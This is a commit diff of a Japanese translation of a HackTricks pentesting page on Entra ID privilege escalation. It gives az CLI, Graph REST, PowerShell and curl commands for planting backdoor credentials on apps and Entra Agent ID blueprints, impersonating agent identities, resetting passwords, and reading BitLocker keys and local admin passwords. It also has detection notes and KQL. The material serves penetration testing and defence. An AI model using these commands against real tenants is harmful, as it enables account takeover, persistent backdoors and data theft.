Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:23:08 +00:00
parent 9fd427dbcb
commit 02213e5603
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> **Entra ID** の組み込みロールにある**すべての詳細権限**が、カスタムロールで使用できる**適格**なものではないことに注意してください。
> **Entra ID** の組み込みロールが持つ**すべての詳細権限**が、カスタムロールで使用できる**候補になるわけではない**ことに注意してください。
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
このロールには、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細権限が含まれています。どちらの操作も権限昇格に悪用できます。
このロールには、principal にロールを割り当てたり、ロールにさらに権限を与えたりするために必要な詳細権限が含まれています。どちらの操作も権限昇格に悪用できます。
- ユーザーにロールを割り当てる:
```bash
@@ -48,26 +48,57 @@ az rest --method PATCH \
]
}'
```
## アプリケーション
## Applications
### `microsoft.directory/applications/credentials/update`
これにより、攻撃者は既存のアプリケーションに**credentialsを追加**passwordsまたはcertificates)できます。アプリケーションに特権的なpermissionsがある場合、攻撃者はそのアプリケーションとして認証し、それらの特権を得ることができます。
これにより、攻撃者は既存のアプリケーションに**資格情報を追加**(パスワードまたは証明書)できます。アプリケーションに特権権限がある場合、攻撃者はそのアプリケーションとして認証し、それらの権限を取得できます。
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/allProperties/update`
この権限は、**単一テナント**の application registration (`signInAudience = AzureADMyOrg`) の**書き込み可能なすべてのプロパティ**を更新できます。これには `passwordCredentials``keyCredentials` も含まれます。カタログでは `IsPrivileged: true` とされていますが、組み込み role には**存在しません**。これはほぼ例外なく、admin が「社内 apps を管理する」を委任するために作成した**custom roles** にのみ現れますが、サブタイプ `.myOrganization` が、結果的に privileged Microsoft Graph permissions を持っている可能性が最も高い apps の集合に対して action をスコープしてしまうことに気づいていない場合があります。
- privileged Microsoft Graph permissions が consented されている apps を列挙する:
```bash
# SPs with at least one Microsoft Graph app role assigned
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
-o table
# Resolve a RoleId to the human-readable permission name
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
--query "appRoles[?id=='<RoleId>'].value" -o tsv
```
- ターゲットが single-tenant であることを確認する(`.myOrganization` subtype scope 内):
```bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
--query "{audience:signInAudience, name:displayName}"
# audience must be "AzureADMyOrg"
```
- credentialをターゲットアプリにinjectする — チェーン内で唯一の特権ステップ:
```bash
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
--headers "Content-Type=application/json" \
--body '{"passwordCredential":{"displayName":"backdoor"}}'
```
### `microsoft.directory/applications.myOrganization/credentials/update`
これ`applications/credentials/update` と同じ操作を許可しますが、single-directory applications にスコープされます。
これにより、`applications/credentials/update` と同じ操作が可能ですが、単一ディレクトリ application にスコープされます。
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
自分自身を owner 追加することで、攻撃者は credentials や permissions を含む application を操作できる。
自分自身を owner として追加することで、攻撃者は credentials や permissions を含む application を操作できる。
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
攻撃者は、テナントのユーザーによって使用されているアプリケーションに redirect URI を追加し、その新しい redirect URL を使った login URLsユーザーに共有することで、彼らの token を盗むことができます。なお、ユーザーがすでにそのアプリケーションにログインしていた場合、認証は自動的に行われ、ユーザーが何かを承する必要はありません。
攻撃者は、テナントのユーザーが使用しているアプリケーションに redirect URI を追加し、その新しい redirect URL を使 login URL を共有することで、トークンを盗むことができます。ユーザーがすでにそのアプリケーションに login していた場合、認証は自動的に行われ、ユーザーが何かを承する必要はありません。
また、アプリケーションが要求する permissions を変更して、より多くの permissions を取得することも可能です。ただし、この場合、すべての permissions について再度承諾を求める prompt をユーザーが accept する必要があります。
また、application が要求する permissions を変更して、より多くの permissions をることも可能です。ただし、この場合、ユーザーはすべての permissions を求める prompt を再度 accept する必要があります。
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,13 +119,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、`Application` 型の **API permissions** を割り当てられたデフォルトのアプリケーションを見つけるは非常に一般的でした。`Application` 型の API PermissionEntra ID コンソールでの呼び名)は、そのアプリケーションがユーザーコンテキストなしで(アプリにユーザーがログインしていなくても)、かつそれを許可する Entra ID roles 必要とせずに API にアクセスして操作を実行できることを意味します。したがって、**すべての Entra ID tenant で高権限のアプリケーションを見つけることは非常に一般的**です。
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、**`Application`** 型の **API permissions** を割り当てられた default applications を見つけることは非常によくありました。`Application` 型の API PermissionEntra ID console での呼)は、その application が user context なしで(app に user login せずに)、かつそれを許可するための Entra ID roles 必要とせずに API にアクセスして actions を実行できることを意味します。したがって、** Entra ID tenant で高権限の applications を見つけることは非常に一般的**です。
次に、攻撃者がアプリケーション**credentials (secret o certificate)****update** できる任意の permission/role を持っている場合、攻撃者は新しい credential を生成し、それを使って **application として認証** でき、アプリケーションが持つすべての permissions を取得できます。
その後、attacker が application **credentialssecret o certificate)を update する** ための permission/role を持っていれば、attacker は新しい credential を生成し、それを使って **application として authenticate** でき、application が持つすべての permissions を得られます。
なお、前述の blog では一般的な Microsoft のデフォルトアプリケーションのいくつか**API permissions** が共有されていますが、この報告のしばらくして Microsoft はこの問題を修正し、現在は Microsoft applications として login することはできません。しかし、**悪用可能な高権限の custom applications** を見つけることは依然として可能です。
なお、前述の blog では一般的な Microsoft default applications **API permissions** の一部が共有されていますが、この報告のしばらく後に Microsoft はこの issue を修正し、現在は Microsoft applications として login することはできなくなっています。ただし、**悪用可能な高権限の custom applications** を見つけることは今でも可能です。
アプリケーションの API permissions を列挙する方法:
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -241,28 +272,28 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格た privileges がある場合、攻撃者はその privileges を引き継ぐことができます。
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格された privileges がある場合、攻撃者はその privileges を引き受けることができます。
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 新しく生成された password は web console に表示されないため、service principal の永続化を stealth に維持する方法になり得ます。\
> API からは次のように見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> 新しく生成された password は web console に表示されないため、service principal に対する persistence を維持する stealth 方法になり得ます。\
> API からは次見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` それは **SP の passwordCredentials property を変更できない** ためで、まず unlock する必要があるからです。そのためには、れを実行できる permission (`microsoft.directory/applications/allProperties/update`) が必要です:
`"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` というエラーが出る場合、それは **SP の passwordCredentials property を変更できない** ためで、先に unlock する必要があるからです。これには、れを実行できる permission (`microsoft.directory/applications/allProperties/update`) が必要です:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
**Agent identity blueprints** は application objects であり、各 blueprint は tenant に **agent identity blueprint principal** も作成します。**Agent identities** は、その blueprint path から派生した service-principal-derived です。したがって、攻撃者が **blueprint に password/certificate を追加**できるか、すでにその credential の1つを盗んでいる場合、後で **blueprint principal** として認証し、子の agent identities 用の tokens を要求できます。
**Agent identity blueprints** は application objects であり、各 blueprint は tenant **agent identity blueprint principal** も作成します。**Agent identities** は、その blueprint path から派生した service-principal-derived children です。したがって、攻撃者が **blueprint に password/certificate を追加**できるか、すでにその credential の1つを盗んでいる場合、後で **blueprint principal** として認証し、child agent identities 用の token を要求できます。
これにより、悪い Entra Agent ID role assignment が、次の2つの両方になります:
これにより、悪い Entra Agent ID role assignment がの両方になります:
- **Persistence**: 新しい `passwordCredential` は削除されるまで blueprint に残る
- **Privilege escalation**: 低信頼/dev agent が別の高信頼 blueprint に横断し、その agent として動作できる
- **Persistence**: 新しい `passwordCredential` は削除されるまで blueprint に残る
- **Privilege escalation**: 低信頼/dev agent が別の高信頼 blueprint に横断し、その child agents として動作できる
典型的危険な path は次のとおりです:
典型的危険な path は次のりです:
- **`AgentIdentityBlueprint.AddRemoveCreds.All`** を持つ compromised agent identity
- blueprint を管理できる compromised owner/sponsor/admin
@@ -275,12 +306,12 @@ az rest --method POST \
--headers 'Content-Type=application/json' \
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
```
または Microsoft Graph PowerShell を使用して:
または Microsoft Graph PowerShell :
```powershell
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
新しい資格情報が受け入れられた場合、**blueprint principal** として認証し、Agent ID token exchange を悪用します。最初のリクエストでは blueprint credential を使用し、**`fmi_path`** を対象の agent identity に設定します。返された token はその後**JWT bearer `client_assertion`** として再利用され、その agent identity 用の Microsoft Graph token を取得します。
新しい credential が受け入れられた場合、**blueprint principal** として authenticate し、Agent ID token exchange を abuse する。最初の request では blueprint credential を使用し、**`fmi_path`** を target agent identity に設定す。返された token はその後 **JWT bearer `client_assertion`** として再利用され、その agent identity に対する Microsoft Graph token を取得す
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> もし **dev** blueprint またはその子agentが **prod** blueprint に credentials を追加できるなら、攻撃者は想定され blueprint/agent の trust boundary を越え、対象の agent infrastructure への永続的なアクセスを獲得します
> もし **dev** blueprint またはその子 agent が **prod** blueprint に credentials を追加できるなら、攻撃者は想定され blueprint/agent の trust boundary を越え、対象の agent infrastructure への durable access を得る
Quick validation / scoping:
```powershell
@@ -316,27 +347,27 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
Hunting notes:
- [Az - Monitoring](../../az-services/az-monitoring.md) で **`Update application Certificates and secrets management`** を探す
- **`AuditLogs`**、**`MicrosoftGraphActivityLogs`**、**`AADServicePrincipalSignInLogs`** を、time、service principal ID、user-agent、IP、`SignInActivityId` / `UniqueTokenIdentifier`相関させる
- `MicrosoftGraphActivityLogs` では、**`/applications/<id>/microsoft.graph.addPassword`** で終わる `RequestUri` と、`Roles`**`AgentIdentityBlueprint.AddRemoveCreds.All`** が含まれているかを確認する
- 時刻、service principal ID、user-agent、IP、`SignInActivityId` / `UniqueTokenIdentifier` を使って **`AuditLogs`**、**`MicrosoftGraphActivityLogs`**、**`AADServicePrincipalSignInLogs`** を相関させる
- `MicrosoftGraphActivityLogs` では、**`/applications/<id>/microsoft.graph.addPassword`** で終わる **`RequestUri`** と、`Roles`**`AgentIdentityBlueprint.AddRemoveCreds.All`** が含まれているかを確認する
- `AADServicePrincipalSignInLogs` では、`ServicePrincipalCredentialKeyId``ClientCredentialType``Agent.agentType`、および新しい key が後で使用されたかを確認する
新しく追加された secret が認証に使われたかを確認するための Minimal KQL:
追加された secret が認証に使われたかを確認する最小限の KQL:
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
これは generic [application credential abuse](../../az-services/az-azuread.md#applications) と [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) に関連していますが、Entra Agent ID は、blueprint credential を **別の agent identity token** に交換できる第2段階を追加します。
これは generic [application credential abuse](../../az-services/az-azuread.md#applications) と [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) に関連していますが、Entra Agent ID は第2段階を追加し、blueprint credential を **異なる agent identity token** に交換できます。
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
これにより、攻撃者は既存の service principals に credential を追加できます。service principal に昇格した privileges がある場合、攻撃者はそれらの privileges を引き継げます。
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格された権限がある場合、攻撃者はその権限を引き継げます。
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
applications と同様に、この permission により service principal にさらに owner を追加できます。service principal を所有すると、その credentials と permissions を control できます。
applications と同様に、この permission により service principal にさらに owners を追加できます。service principal を owning すると、その credentials と permissions を制御できます。
```bash
# Add new owner
spId="<spId>"
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 新しい owner を追加した後、それを削除しようとしましたが、API は DELETE method がサポートされていないとしました。削除にはその method を使う必要があるにもかかわらずです。なので、現在は **owners を削除できません**。
> 新しい owner を追加した後、それを削除しようとしましたが、API は DELETE メソッドがサポートされていないと応答しました。削除するにはそのメソッドを使う必要があるにもかかわらずです。つまり、**現在は owner を削除できません**。
### `microsoft.directory/servicePrincipals/disable` and `enable`
これらの permissions は service principals を disable および enable することを可能にします。攻撃者は、この permission を使って、何らかの方法でアクセスでき service principal を enable し、権限昇格に利用できる可能性があります。
これらの permissions は service principals を無効化および有効化できます。攻撃者は、この permission を使って、何らかの方法でアクセスでき service principal を有効化し、権限昇格に利用できる可能性があります。
この technique では、enable された service principal を takeover するために、攻撃者は追加の permissions が必要になる点に注意してください。
この technique では、有効化した service principal を takeover するために、攻撃者は追加の permissions が必要になる点に注意してください。
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
これらの権限により、シングルサインオンの資格情報を作成および取得できます。これによって、サードパーティアプリケーションへのアクセスが可能になる場合があります。
これらの権限により、single sign-on の credentials を作成および取得でき、サードパーティの applications へのアクセスにつながる可能性があります。
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -396,30 +427,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
この権限により、ユーザーを privileged groups に追加でき、privilege escalation につながります。
この権限により、ユーザーを特権グループに追加でき、結果として privilege escalation につながります。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: この権限は Entra ID role-assignable groups を除外します
****: この permission には Entra ID role-assignable groups は含まれません
### `microsoft.directory/groups/owners/update`
この権限により、groups の owner になます。group の owner は group membership と settings を制御できるため、group への privilege escalation につながる可能性があります。
この permission により、groups の owner になることができます。group の owner は group membership と settings を制御できるため、group への privilege escalation につながる可能性があります。
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**注**: この権限は Entra ID role-assignable groups を除外します。
**注**: この permission は Entra ID role-assignable groups を除外します。
### `microsoft.directory/groups/members/update`
この権限は、group に members を追加することを許可します。攻撃者は自分自身や malicious accounts を privileged groups に追加して、昇格した access を得ることができます。
この permission は group に member を追加できます。攻撃者は自分自身や悪意のある accounts を privileged groups に追加して、elevated access を得られます。
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
この権限は、dynamic group の membership rule を更新できます。攻撃者は dynamic rule を変更して、明示的追加なしに自分自身を privileged groups に含めることができます。
この permission により、dynamic group の membership rule を更新できます。攻撃者は dynamic rules を変更して、明示的追加されることなく自分自身を privileged groups に含めることができます。
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -430,11 +461,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
****: この権限は Entra ID role-assignable groups を除外します。
**Note**: この permission は Entra ID role-assignable groups を除外します。
### Dynamic Groups Privesc
ユーザーが自分自身のプロパティを変更して dynamic groups のメンバーに追加され、権限昇格できる可能性があります。詳細はを確認してください:
ユーザーが自分自身の properties を変更して dynamic groups の member として追加されることで、privileges を escalation できる可能性があります。詳細は以下を確認してください:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
この権限により、non-admin users のパスワードを reset でき、攻撃者が他のユーザーへ privilege escalation る可能性があります。この権限は custom roles に割り当てることはできません。
この permission により、non-admin users の password を reset できるため、攻撃者が他の users へ privileges を escalation できる可能性があります。この permission は custom roles には assign できません。
```bash
# Update user password
userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
この権限により、user のプロパティを変更できます。プロパティ値に基づいて user を追加する dynamic groups を見つけることは一般的であるため、この permission によって user は特定の dynamic group の member になるために必要なプロパティ値を設定し、privileges を escalate できる可能性があります。
この権限により、ユーザーのプロパティを変更できます。プロパティ値に基づいてユーザーを追加する dynamic groups はよく見つかるため、この権限があれば、ユーザーは特定の dynamic group のメンバーになるために必要なプロパティ値を設定でき、権限を昇格できる可能性があります。
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -482,7 +513,7 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
MFA を要求する misconfigured な conditional access policies は bypass される可能性があります。確認してください:
誤設定された MFA を要求する conditional access policies は bypass される可能性があります。確認してください:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
この permission により、attacker は自分自身を device の owner として assign し、device-specific settings や data への control や access を得ることができます。
この permission により、attacker は自分自身を device の owner として割り当て、device-specific settings や data への control や access を得ることができます。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
この権限により、攻撃者は自分のアカウントをデバイスに関連付けてアクセス権を取得したり、セキュリティポリシーを回避したりできます。
この権限により、攻撃者は自分のアカウントをデバイスに関連付けてアクセス権をたり、セキュリティポリシーを回避したりできます。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
この権限により、攻撃者は Microsoft Entra joined devices のバックアップされたローカル administrator アカウント credentials のプロパティを読み取ることができ、password を含みます
この権限により、攻撃者は Microsoft Entra joined devices のバックアップされた local administrator account credentials のプロパティを読み取ることができ、password も含まれます
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -529,7 +560,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
この permission により BitLocker keys アクセスでき、攻撃者がドライブを復号化して data confidentiality を侵害できる可能性があります。
この権限により BitLocker keys へのアクセスが可能になり、攻撃者がドライブを復号できるようになる可能性があり、データの機密性が損なわれます。
```bash
# List recovery keys
az rest --method GET \
@@ -540,7 +571,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## 他の興味深い permissions (TODO)
## その他の興味深い permissionsTODO
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`